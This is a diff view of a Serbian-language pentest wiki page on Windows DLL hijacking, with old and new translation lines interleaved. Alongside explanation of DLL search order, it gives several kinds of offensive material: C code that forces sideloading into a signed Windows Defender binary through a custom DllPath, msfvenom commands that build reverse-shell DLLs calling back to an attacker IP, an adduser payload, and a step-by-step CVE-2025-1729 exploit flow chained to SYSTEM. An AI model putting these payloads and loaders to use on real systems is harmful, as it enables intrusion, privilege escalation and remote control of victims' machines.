5. **WinSxS DLL Replacement**: Zamena legitimnog DLL-a zlonamernim u WinSxS direktorijumu, metoda često povezana sa DLL side-loadingom.
|
||||
6. **Relative Path DLL Hijacking**: Postavljanje zlonamernog DLL-a u direktorijum pod kontrolom korisnika zajedno sa kopiranom aplikacijom, što podseća na Binary Proxy Execution tehnike.
|
||||
|
||||
## Finding missing Dlls
|
||||
## Pronalaženje nedostajućih DLL-ova
|
||||
|
||||
Najčešći način da se pronađu nedostajući DLL-ovi unutar sistema je pokretanje [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) iz sysinternals, **postavljajući** **sledeća 2 filtera**:
|
||||
Najčešći način da se pronađu nedostajući DLL-ovi u sistemu je pokretanje [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) iz sysinternals, **postavljanjem** **sledeća 2 filtera**:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
i samo prikazivanje **File System Activity**:
|
||||
i samo prikažite **File System Activity**:
|
||||
|
||||
.png>)
|
||||
|
||||
Ako tražite **nedostajuće dll-ove uopšte**, možete **ostaviti** ovo da radi nekoliko **sekundi**.\
|
||||
Ako tražite **nedostajući dll unutar specifične izvršne datoteke**, trebali biste postaviti **drugi filter kao "Process Name" "contains" "\<exec name>", izvršiti ga, i zaustaviti hvatanje događaja**.
|
||||
Ako tražite **nedostajuće dll-ove u opštem smislu**, pustite ovo da radi nekoliko **sekundi**.\
|
||||
Ako tražite **nedostajući dll unutar određenog izvršnog fajla**, treba da postavite još jedan filter kao što je "Process Name" "contains" "\<exec name>", izvršite ga i zaustavite hvatanje događaja.
|
||||
|
||||
## Exploiting Missing Dlls
|
||||
## Eksploatisanje nedostajućih DLL-ova
|
||||
|
||||
Da bismo eskalirali privilegije, najbolja šansa koju imamo je da možemo **napisati dll koji će privilegovani proces pokušati da učita** na nekom od **mesta gde će biti pretraživan**. Stoga, moći ćemo da **napišemo** dll u **folderu** gde se **dll pretražuje pre** foldera gde se nalazi **originalni dll** (čudan slučaj), ili ćemo moći da **pišemo u neki folder gde će se dll pretraživati** i originalni **dll ne postoji** u bilo kom folderu.
|
||||
Da bismo eskalirali privilegije, najbolja šansa je biti u mogućnosti da **zapišemo DLL koji će proces sa višim privilegijama pokušati da učita** u nekom od **mesta gde će se tražiti**. Dakle, moći ćemo da **zapišemo** DLL u **folder** gde se DLL pretražuje pre foldera gde se nalazi **originalni DLL** (čudan slučaj), ili ćemo moći da **zapišemo u neki folder gde će se DLL tražiti**, dok originalni **DLL ne postoji** ni u jednom folderu.
|
||||
|
||||
### Dll Search Order
|
||||
### Dll redosled pretrage
|
||||
|
||||
**Unutar** [**Microsoft dokumentacije**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **možete pronaći kako se DLL-ovi specifično učitavaju.**
|
||||
U [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) možete naći tačan način na koji se DLL-ovi učitavaju.
|
||||
|
||||
**Windows aplikacije** traže DLL-ove prateći skup **predefinisanih pretraživačkih putanja**, pridržavajući se određenog reda. Problem DLL hijacking-a nastaje kada se štetan DLL strateški postavi u jedan od ovih direktorijuma, osiguravajući da se učita pre autentičnog DLL-a. Rešenje za sprečavanje ovoga je osigurati da aplikacija koristi apsolutne putanje kada se poziva na DLL-ove koje zahteva.
|
||||
Windows aplikacije traže DLL-ove prateći skup unapred definisanih putanja za pretragu, u određenom redosledu. Problem DLL hijacking-a nastaje kada se zlonamerni DLL strateški postavi u jedan od tih direktorijuma tako da bude učitan pre autentičnog DLL-a. Rešenje da se to izbegne je osigurati da aplikacija koristi apsolutne putanje kada referencira potrebne DLL-ove.
|
||||
|
||||
Možete videti **DLL pretraživački redosled na 32-bitnim** sistemima u nastavku:
|
||||
Možete videti **DLL search order on 32-bit** systems ispod:
|
||||
|
||||
1. Direktorijum iz kojeg je aplikacija učitana.
|
||||
2. Sistem direktorijum. Koristite [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) funkciju da dobijete putanju ovog direktorijuma. (_C:\Windows\System32_)
|
||||
3. 16-bitni sistem direktorijum. Ne postoji funkcija koja dobija putanju ovog direktorijuma, ali se pretražuje. (_C:\Windows\System_)
|
||||
4. Windows direktorijum. Koristite [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) funkciju da dobijete putanju ovog direktorijuma. (_C:\Windows_)
|
||||
5. Trenutni direktorijum.
|
||||
6. Direktorijumi koji su navedeni u PATH promenljivoj okruženja. Imajte na umu da ovo ne uključuje putanju po aplikaciji koju određuje **App Paths** registry ključ. **App Paths** ključ se ne koristi prilikom izračunavanja DLL pretraživačkog puta.
|
||||
1. The directory from which the application loaded.
|
||||
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
||||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
||||
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
||||
1. (_C:\Windows_)
|
||||
5. The current directory.
|
||||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
||||
|
||||
To je **podrazumevani** redosled pretrage sa **SafeDllSearchMode** omogućenim. Kada je on onemogućen, trenutni direktorijum se penje na drugo mesto. Da biste onemogućili ovu funkciju, kreirajte **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** registry vrednost i postavite je na 0 (podrazumevano je omogućeno).
|
||||
Ovo je **podrazumevani** redosled pretrage sa omogućenim **SafeDllSearchMode**. Kada je on onemogućen, trenutni direktorijum prelazi na drugo mesto. Da biste onemogućili ovu opciju, kreirajte vrednost registrija **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** i postavite je na 0 (podrazumevano je omogućeno).
|
||||
|
||||
Ako se [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) funkcija pozove sa **LOAD_WITH_ALTERED_SEARCH_PATH**, pretraga počinje u direktorijumu izvršnog modula koji **LoadLibraryEx** učitava.
|
||||
Ako se funkcija [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) pozove sa **LOAD_WITH_ALTERED_SEARCH_PATH** pretraga počinje u direktorijumu izvršnog modula koji [**LoadLibraryEx**] učitava.
|
||||
|
||||
Na kraju, imajte na umu da **dll može biti učitan ukazujući apsolutnu putanju umesto samo imena**. U tom slučaju, taj dll će se **samo pretraživati u toj putanji** (ako dll ima bilo kakve zavisnosti, one će se pretraživati kao da su samo učitane po imenu).
|
||||
Na kraju, imajte na umu da **dll može biti učitan navođenjem apsolutne putanje umesto samo imena**. U tom slučaju taj dll će **biti tražen samo u toj putanji** (ako taj dll ima neke zavisnosti, one će se tražiti kao da su učitane po imenu).
|
||||
|
||||
Postoje i drugi načini da se izmeni redosled pretrage, ali ih ovde neću objašnjavati.
|
||||
Postoje i drugi načini da se promeni redosled pretrage, ali ih ovde neću objašnjavati.
|
||||
|
||||
#### Exceptions on dll search order from Windows docs
|
||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||||
|
||||
Određene izuzetke od standardnog DLL pretraživačkog reda beleže Windows dokumentacija:
|
||||
Napredan način da se deterministički utiče na putanju pretrage DLL-ova novokreiranog procesa je postavljanje polja DllPath u RTL_USER_PROCESS_PARAMETERS prilikom kreiranja procesa koristeći ntdll-ove native API-je. Davanjem direktorijuma pod kontrolom napadača ovde, ciljani proces koji razrešava importovani DLL po imenu (bez apsolutne putanje i bez korišćenja safe loading flag-ova) može biti primoran da učita zlonamerni DLL iz tog direktorijuma.
|
||||
|
||||
- Kada se naiđe na **DLL koji deli svoje ime sa jednim već učitanim u memoriji**, sistem zaobilazi uobičajenu pretragu. Umesto toga, vrši proveru za preusmeravanje i manifest pre nego što se vrati na DLL već u memoriji. **U ovom scenariju, sistem ne sprovodi pretragu za DLL**.
|
||||
- U slučajevima kada je DLL prepoznat kao **poznati DLL** za trenutnu verziju Windows-a, sistem će koristiti svoju verziju poznatog DLL-a, zajedno sa bilo kojim njegovim zavisnim DLL-ovima, **preskočivši proces pretrage**. Registry ključ **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** sadrži listu ovih poznatih DLL-ova.
|
||||
- Ako **DLL ima zavisnosti**, pretraga za tim zavisnim DLL-ovima se sprovodi kao da su označeni samo svojim **imenima modula**, bez obzira na to da li je inicijalni DLL identifikovan putem pune putanje.
|
||||
Ključna ideja
|
||||
- Sastavite parametre procesa koristeći RtlCreateProcessParametersEx i navedite prilagođeni DllPath koji ukazuje na vaš kontrolisani folder (npr. direktorijum gde se nalazi vaš dropper/unpacker).
|
||||
- Kreirajte proces koristeći RtlCreateUserProcess. Kada ciljni binarni fajl razreši DLL po imenu, loader će konsultovati dostavljeni DllPath tokom razrešavanja, omogućavajući pouzdan sideloading čak i kada zlonamerni DLL nije u istom direktorijumu kao ciljni EXE.
|
||||
|
||||
### Escalating Privileges
|
||||
Napomene/ograničenja
|
||||
- Ovo utiče na dete proces koji se kreira; drugačije je od SetDllDirectory, koje utiče samo na trenutni proces.
|
||||
- Cilj mora importovati ili LoadLibrary DLL po imenu (bez apsolutne putanje i bez korišćenja LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
||||
- KnownDLLs i hardkodirane apsolutne putanje ne mogu biti hijack-ovane. Forwarded exports i SxS mogu promeniti prioritet.
|
||||
|
||||
**Requirements**:
|
||||
Minimalni C primer (ntdll, wide strings, pojednostavljeno rukovanje greškama):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
- Identifikujte proces koji radi ili će raditi pod **različitim privilegijama** (horizontalno ili lateralno kretanje), koji **nema DLL**.
|
||||
- Osigurajte da je **pristup za pisanje** dostupan za bilo koji **direktorijum** u kojem će se **DLL** **pretraživati**. Ova lokacija može biti direktorijum izvršne datoteke ili direktorijum unutar sistemske putanje.
|
||||
// Prototype (not in winternl.h in older SDKs)
|
||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
Da, zahtevi su komplikovani za pronalaženje jer je **po defaultu čudno pronaći privilegovanu izvršnu datoteku bez dll-a** i još je **čudnije imati dozvole za pisanje u folderu sistemske putanje** (po defaultu ne možete). Ali, u pogrešno konfiguriranim okruženjima ovo je moguće.\
|
||||
U slučaju da imate sreće i ispunjavate zahteve, možete proveriti [UACME](https://github.com/hfiref0x/UACME) projekat. Čak i ako je **glavni cilj projekta zaobilaženje UAC**, možete pronaći **PoC** DLL hijacking-a za verziju Windows-a koju možete koristiti (verovatno samo menjajući putanju foldera gde imate dozvole za pisanje).
|
||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||
PUNICODE_STRING NtImagePathName,
|
||||
ULONG Attributes,
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||
HANDLE ParentProcess,
|
||||
BOOLEAN InheritHandles,
|
||||
HANDLE DebugPort,
|
||||
HANDLE ExceptionPort,
|
||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||
);
|
||||
|
||||
Imajte na umu da možete **proveriti svoje dozvole u folderu** tako što ćete:
|
||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||
}
|
||||
|
||||
int wmain(void) {
|
||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||
|
||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||
wchar_t dllDir[MAX_PATH];
|
||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||
|
||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||
RtlInitUnicodeString(&uImage, image);
|
||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||
|
||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||
NULL, NULL, NULL, NULL, NULL, 0);
|
||||
if (st < 0) return 1;
|
||||
|
||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||
if (st < 0) return 1;
|
||||
|
||||
// Resume main thread etc. if created suspended (not shown here)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Operativni primer upotrebe
|
||||
- Postavite zlonamerni xmllite.dll (koji eksportuje potrebne funkcije ili prosleđuje pozive stvarnom DLL-u) u direktorijum DllPath.
|
||||
- Pokrenite potpisani binarni fajl koji je poznato da traži xmllite.dll po imenu koristeći gore opisanu tehniku. Loader rešava import preko prosleđenog DllPath-a i sideloads vaš DLL.
|
||||
|
||||
Ova tehnika je u prirodi (in-the-wild) primećena da pokreće višestepene sideloading lance: inicijalni launcher postavi pomoćni DLL, koji potom spawn-uje Microsoft-signed, hijackable binarni fajl sa prilagođenim DllPath-om kako bi primorao učitavanje napadačevog DLL-a iz staging direktorijuma.
|
||||
|
||||
|
||||
#### Izuzeci u redosledu pretrage DLL-ova iz Windows dokumentacije
|
||||
|
||||
U Windows dokumentaciji su zabeleženi određeni izuzeci od standardnog reda pretrage DLL-ova:
|
||||
|
||||
- Kada se naiđe na **DLL koji deli ime sa onim koji je već učitan u memoriji**, sistem zaobilazi uobičajenu pretragu. Umesto toga, izvršava proveru za redirekciju i manifest pre nego što podrazumevano koristi DLL koji je već u memoriji. **U ovom scenariju, sistem ne vrši pretragu za DLL-om**.
|
||||
- U slučajevima kada je DLL prepoznat kao **poznati DLL** za trenutnu verziju Windows-a, sistem će koristiti svoju verziju tog poznatog DLL-a, zajedno sa bilo kojim njegovim zavisnim DLL-ovima, **odustajući od procesa pretrage**. Registarski ključ **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** sadrži listu ovih poznatih DLL-ova.
|
||||
- Ako **DLL ima zavisnosti**, pretraga za tim zavisnim DLL-ovima vrši se kao da su naznačeni samo njihovim **imenima modula**, bez obzira na to da li je početni DLL identifikovan pomoću pune putanje.
|
||||
|
||||
### Eskalacija privilegija
|
||||
|
||||
**Zahtevi**:
|
||||
|
||||
- Identifikujte proces koji radi ili će raditi pod **različitim privilegijama** (horizontal or lateral movement), a kojem **nedostaje DLL**.
|
||||
- Obezbedite da su dostupna **prava za pisanje** za bilo koji **direktorijum** u kojem će se tražiti **DLL**. Ovo mesto može biti direktorijum izvršnog fajla ili direktorijum unutar sistemskog PATH-a.
|
||||
|
||||
Da, zahtevi su komplikovani za pronalaženje jer je **po defaultu prilično neobično naći privilegovani izvršni fajl kome nedostaje DLL** i još je **čudnije imati prava za pisanje na folderu u sistemskom PATH-u** (po defaultu to nije moguće). Međutim, u pogrešno konfigurisanim okruženjima ovo je moguće.
|
||||
Ako imate sreće i ispunjavate zahteve, možete pogledati projekat [UACME](https://github.com/hfiref0x/UACME). Iako je **glavni cilj projekta da zaobiđe UAC**, možda ćete tamo naći **PoC** za Dll hijaking za verziju Windows-a koju možete iskoristiti (verovatno samo menjajući putanju foldera u kojem imate prava za pisanje).
|
||||
|
||||
Imajte na umu da možete **proveriti svoja prava u folderu** tako što ćete:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
I **proverite dozvole svih foldera unutar PATH**:
|
||||
I **proverite dozvole svih direktorijuma unutar PATH-a**:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
Možete takođe proveriti uvoze izvršne datoteke i izvoze dll-a sa:
|
||||
Takođe možete proveriti imports izvršne datoteke i exports dll-a pomoću:
|
||||
```c
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
Za potpuni vodič o tome kako **zloupotrebiti Dll Hijacking za eskalaciju privilegija** sa dozvolama za pisanje u **System Path folder**, proverite:
|
||||
Za kompletan vodič kako da **abuse Dll Hijacking to escalate privileges** sa dozvolama za upis u **System Path folder** pogledajte:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
writable-sys-path-+dll-hijacking-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Automatizovani alati
|
||||
### Automated tools
|
||||
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) će proveriti da li imate dozvole za pisanje u bilo kom folderu unutar sistemskog PATH-a.\
|
||||
Ostali zanimljivi automatizovani alati za otkrivanje ove ranjivosti su **PowerSploit funkcije**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ i _Write-HijackDll._
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) će proveriti da li imate dozvole za pisanje u bilo koji folder unutar system PATH.\
|
||||
Drugi interesantni automatizovani alati za otkrivanje ove ranjivosti su **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ i _Write-HijackDll._
|
||||
|
||||
### Primer
|
||||
### Example
|
||||
|
||||
U slučaju da pronađete scenario koji se može iskoristiti, jedna od najvažnijih stvari za uspešno iskorišćavanje bi bila da **napravite dll koji izvozi barem sve funkcije koje će izvršni program uvesti iz njega**. U svakom slučaju, imajte na umu da Dll Hijacking dolazi u obzir kako bi se [escaliralo sa Medium Integrity nivoa na High **(zaobilaženje UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) ili sa [**High Integrity na SYSTEM**](../index.html#from-high-integrity-to-system)**.** Možete pronaći primer **kako napraviti validan dll** unutar ove studije o dll hijackingu fokusirane na dll hijacking za izvršenje: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Pored toga, u **sledećem odeljku** možete pronaći neke **osnovne dll kodove** koji bi mogli biti korisni kao **šabloni** ili za kreiranje **dll-a sa neobaveznim izvezenim funkcijama**.
|
||||
Ako nađete iskoristiv scenario, jedna od najvažnijih stvari za uspešan exploit biće da **napravite dll koji eksportuje bar sve funkcije koje će izvršni fajl importovati iz njega**. Imajte na umu da Dll Hijacking može biti koristan za [escalate from Medium Integrity level to High **(bypassing UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) ili za [ **High Integrity to SYSTEM**](../index.html#from-high-integrity-to-system)**.** Primer **kako kreirati validan dll** možete naći u ovoj studiji o dll hijacking-u fokusiranoj na dll hijacking za izvršenje: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Štaviše, u **sledećem delu** možete naći neke **osnovne dll kodove** koji mogu biti korisni kao **šabloni** ili za kreiranje **dll-a sa eksportovanim funkcijama koje nisu potrebne**.
|
||||
|
||||
## **Kreiranje i kompajliranje Dll-ova**
|
||||
## **Creating and compiling Dlls**
|
||||
|
||||
### **Dll Proxifying**
|
||||
|
||||
U suštini, **Dll proxy** je Dll sposoban da **izvrši vaš zlonamerni kod kada se učita**, ali takođe da **izloži** i **radi** kao **očekivano** tako što **preusmerava sve pozive na pravu biblioteku**.
|
||||
U suštini, **Dll proxy** je Dll koji može **izvršiti vaš zlonamerni kod kada se učita**, ali i da **izlaže** i **radi** kako se očekuje tako što **prosleđuje sve pozive pravoj biblioteci**.
|
||||
|
||||
Sa alatom [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ili [**Spartacus**](https://github.com/Accenture/Spartacus) možete zapravo **naznačiti izvršni program i odabrati biblioteku** koju želite da proxify i **generisati proxified dll** ili **naznačiti Dll** i **generisati proxified dll**.
|
||||
Pomoću alata [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ili [**Spartacus**](https://github.com/Accenture/Spartacus) možete zapravo **odabrati izvršni fajl i izabrati biblioteku** koju želite proxify-ovati i **generisati proxified dll** ili **odabrati Dll** i **generisati proxified dll**.
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
@ -126,13 +219,13 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Kreirajte korisnika (x86 nisam video x64 verziju):**
|
||||
**Kreiraj korisnika (x86 nisam video x64 verziju):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Vaš
|
||||
### Vaš sopstveni
|
||||
|
||||
Napomena da u nekoliko slučajeva Dll koji kompajlirate mora **izvoziti nekoliko funkcija** koje će biti učitane od strane procesa žrtve, ako ove funkcije ne postoje **binarni fajl neće moći da ih učita** i **eksploit će propasti**.
|
||||
Imajte na umu da u nekoliko slučajeva Dll koji kompajlirate mora **export several functions** koje će učitati victim process; ako these functions doesn't exist, **binary won't be able to load** ih i **exploit will fail**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
@ -213,20 +306,20 @@ break;
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
## Studija slučaja: CVE-2025-1729 - Eskalacija privilegija korišćenjem TPQMAssistant.exe
|
||||
## Studija slučaja: CVE-2025-1729 - Privilege Escalation korišćenjem TPQMAssistant.exe
|
||||
|
||||
Ovaj slučaj demonstrira **Phantom DLL Hijacking** u Lenovo-ovom TrackPoint Quick Menu (`TPQMAssistant.exe`), praćen kao **CVE-2025-1729**.
|
||||
Ovaj slučaj prikazuje **Phantom DLL Hijacking** u Lenovo-ovom TrackPoint Quick Menu (`TPQMAssistant.exe`), praćeno kao **CVE-2025-1729**.
|
||||
|
||||
### Detalji o ranjivosti
|
||||
### Detalji ranjivosti
|
||||
|
||||
- **Komponenta**: `TPQMAssistant.exe` se nalazi na `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||||
- **Zakazani zadatak**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` se pokreće svakodnevno u 9:30 AM pod kontekstom prijavljenog korisnika.
|
||||
- **Dozvole direktorijuma**: Pisanje od strane `CREATOR OWNER`, što omogućava lokalnim korisnicima da postavljaju proizvoljne datoteke.
|
||||
- **Ponašanje pretrage DLL-a**: Pokušava da učita `hostfxr.dll` iz svog radnog direktorijuma prvo i beleži "NAME NOT FOUND" ako nedostaje, što ukazuje na prioritet pretrage lokalnog direktorijuma.
|
||||
- **Komponenta**: `TPQMAssistant.exe` koji se nalazi na `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||||
- **Zakazani zadatak**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` se izvršava dnevno u 9:30 AM pod kontekstom prijavljenog korisnika.
|
||||
- **Dozvole direktorijuma**: Writable by `CREATOR OWNER`, što omogućava lokalnim korisnicima da ubace proizvoljne datoteke.
|
||||
- **DLL Search Behavior**: Pokušava prvo da učita `hostfxr.dll` iz svog radnog direktorijuma i beleži "NAME NOT FOUND" ako nedostaje, što ukazuje na prioritet pretrage lokalnog direktorijuma.
|
||||
|
||||
### Implementacija eksploata
|
||||
### Exploit Implementation
|
||||
|
||||
Napadač može postaviti zlonamerni `hostfxr.dll` stub u isti direktorijum, koristeći nedostajući DLL za postizanje izvršavanja koda pod korisničkim kontekstom:
|
||||
Napadač može postaviti zlonamerni `hostfxr.dll` stub u isti direktorijum, iskorišćavajući nedostajući DLL da ostvari code execution u kontekstu prijavljenog korisnika:
|
||||
```c
|
||||
#include <windows.h>
|
||||
|
||||
@ -238,16 +331,16 @@ MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
### Attack Flow
|
||||
### Tok napada
|
||||
|
||||
1. Kao standardni korisnik, postavite `hostfxr.dll` u `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||||
2. Sačekajte da se zakazani zadatak izvrši u 9:30 ujutro pod kontekstom trenutnog korisnika.
|
||||
3. Ako je administrator prijavljen kada se zadatak izvršava, zlonamerni DLL se pokreće u sesiji administratora sa srednjim integritetom.
|
||||
4. Povežite standardne UAC bypass tehnike da biste se uzdigli sa srednjeg integriteta na SYSTEM privilegije.
|
||||
1. Kao standardni korisnik, ubaci `hostfxr.dll` u `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||||
2. Sačekaj da se zakazani zadatak pokrene u 9:30 u kontekstu trenutnog korisnika.
|
||||
3. Ako je administrator prijavljen kada se zadatak izvrši, zlonamerni DLL će se pokrenuti u administratorskoj sesiji sa medium integrity.
|
||||
4. Lančano primeni standardne UAC bypass techniques da eskaliraš privilegije sa medium integrity na SYSTEM privilegije.
|
||||
|
||||
### Mitigation
|
||||
### Mitigacija
|
||||
|
||||
Lenovo je objavio UWP verziju **1.12.54.0** putem Microsoft Store-a, koja instalira TPQMAssistant pod `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`, uklanja ranjivi zakazani zadatak i deinstalira nasleđene Win32 komponente.
|
||||
Lenovo je objavio UWP verziju **1.12.54.0** via the Microsoft Store, koja instalira TPQMAssistant u `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`, uklanja ranjivi zakazani zadatak i deinstalira nasleđene Win32 komponente.
|
||||
|
||||
## References
|
||||
|
||||
@ -259,4 +352,7 @@ Lenovo je objavio UWP verziju **1.12.54.0** putem Microsoft Store-a, koja instal
|
||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||
|
||||
|
||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user